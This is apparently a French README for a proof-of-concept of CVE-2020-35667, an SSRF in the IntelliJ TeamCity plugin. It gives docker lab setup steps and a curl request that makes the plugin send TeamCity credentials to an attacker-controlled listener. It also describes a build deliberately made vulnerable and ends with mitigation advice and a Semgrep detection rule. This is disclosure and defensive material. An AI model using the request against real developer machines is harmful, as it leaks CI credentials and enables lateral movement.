diekgbbtt/cve-2020-35667-pocPreuve de concept d'exploitation pour CVE-2020-35667, une vulnérabilité SSRF dans le plugin IntelliJ IDEA TeamCity entraînant une fuite d'identifiants via un paramètre d'URL non validé.
AVERTISSEMENT Le comportement vulnérable illustré ci-dessous a été vérifié empiriquement à partir d'artefacts décompilés et corrigés, qui tentent de ressembler à la vulnérabilité d'origine inférée par une approche heuristique, car la version originale vulnérable du plugin n'est plus disponible. Le dépôt contient un zip avec une build minimalement modifiée (dérivée de la version corrigée) utilisée pour une reproduction en laboratoire isolé.
Cette CVE concerne le plugin d'intégration IntelliJ IDEA TeamCity, qui permet l'intégration de l'IDE avec TeamCity, un orchestrateur CI/CD et une archive qui stocke les configurations de build et d'autres artefacts, exposés via des API REST/RPC.
Le plugin ouvre localement quelques points de terminaison HTTP, qui dans un scénario courant sont appelés avec les composants que le plugin a ajoutés à l'interface graphique. Dans la configuration observée, ce serveur local n'implémente aucune couche de contrôle d'accès et agit en réalité comme un intermédiaire entre l'IDE et le serveur TeamCity.
Le gestionnaire de requêtes côté serveur du plugin accepte un paramètre contrôlé par l'utilisateur dans l'URL et l'utilise pour construire une URL de téléchargement de patch sans validation suffisante (CWE-918). Le plugin émet ensuite une requête HTTP GET vers l'URL forgée, en transmettant les en-têtes d'authentification de l'utilisateur connecté, avec les identifiants TeamCity, puisque TeamCity expose des API REST/RPC. En supposant que l'attaquant peut atteindre la machine du développeur (par exemple hameçonnage, XSS), il peut exécuter une attaque SSRF (CAPEC-6634), forçant le plugin à faire une requête vers un hôte contrôlé par l'attaquant, qui écoute sur le point de terminaison encodé dans le paramètre contrôlé par l'utilisateur, conduisant à une fuite d'identifiants. Ce qui établit le contexte pour, par exemple, un point d'appui ou un mouvement latéral.
Connection.run() → Connection.doHandle()
récupère l'URI de la requête et les paramètres, analysés dans la map params (y compris le paramètre file)ActivatorBase.handle(res, params, ...) — res == "/patch" déclenche handleLoadPatch(params)handleLoadPatch planifie le travail et appelle éventuellement UrlUtil.createUrl(params, serverUrl) — c'est le composant que j'ai modifié pour le rendre vulnérable, la valeur file est insérée comme schéma:adresse/chemin de l'URL sans validation, les autres paramètres sont ajoutésActivatorBase.downloadPatch(patchUrl, username, password) crée un HttpClient avec UsernamePasswordCredentials et appelle client.executeMethod(get), la requête réseau réelle est émise vers patchUrlMon environnement : TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, hôte : ARM64 Kali Linux 2025.3. Tous les conteneurs sont isolés du réseau
(optionnel) créer un réseau docker isolé
docker network create tc-nec
Télécharger et démarrer IntelliJ IDEA, créer un projet éphémère de n'importe quel type. Charger l'extension fournie sous forme de fichier zip
Construire et démarrer le conteneur du serveur TeamCity : les artefacts pertinents sont fournis dans le dossier tc-server, atteindre le tableau de bord TeamCity et créer un environnement teamcity éphémère et un utilisateur
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
Construire et démarrer le puits HTTP malveillant : les artefacts pertinents sont fournis dans le dossier http-listener
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(optionnel) activer la journalisation du plugin avec une sévérité de trace pour une analyse fine de l'exécution : interface graphique de l'IDE → rechercher les paramètres de journalisation de débogage → ajouter la ligne #jetbrains.buildServer.activation → redémarrer l'IDE
Se connecter au serveur TeamCity local : Settings → Tools → TeamCity → Add Server et le pointer vers http://127.0.0.1:8111 , se connecter avec l'utilisateur créé
envoyer la requête suivante
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
Le serveur puits a journalisé la requête HTTP du plugin
docker exec lab-sink "cat sink.log"
Tout d'abord, je suggère de déplacer la sécurité vers la gauche dans le SDLC, par la spécification d'exigences de sécurité quantifiables et implémentables, en gardant les exigences OWASP ASVS comme ligne directrice, en les forquant et en n'adoptant que celles liées au code et pertinentes pour les exigences de l'application. Les spécialistes de la sécurité applicative devraient mapper ces exigences à des composants de code spécifiques, voire à des extraits individuels. Les développeurs devraient être formés pour savoir comment implémenter ces exigences de sécurité : connaître les mécanismes de sécurité intégrés de leur langage/framework. Ensemble, ils devraient travailler sur une matrice qui mappe chaque exigence au package, à la classe ou à la fonction propriétaire et lister les contrôles d'acceptation pertinents (tests unitaires, règles SAST), ce qui garantirait la conformité de la base de code à l'ensemble ASVS forqué.
De multiples portails de revue de sécurité doivent être intégrés dans l'ensemble du pipeline de livraison. Depuis directement la machine du développeur via un plugin IDE et des hooks git de pré-commit, jusqu'aux analyses complètes du pipeline CI et au DAST basé sur le fuzzing dans des environnements adaptés (déploiement continu). En cas d'erreur, la construction/livraison doit échouer. Les données résultant de ces analyses doivent être constamment agrégées, examinées pour affiner le processus et éliminer les faux positifs/vrais négatifs.
Voici un exemple de règle Semgrep pour détecter la construction d'URL sans assainissement des paramètres contrôlés par l'utilisateur, en Java avec la bibliothèque http-client utilisée dans le plugin
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]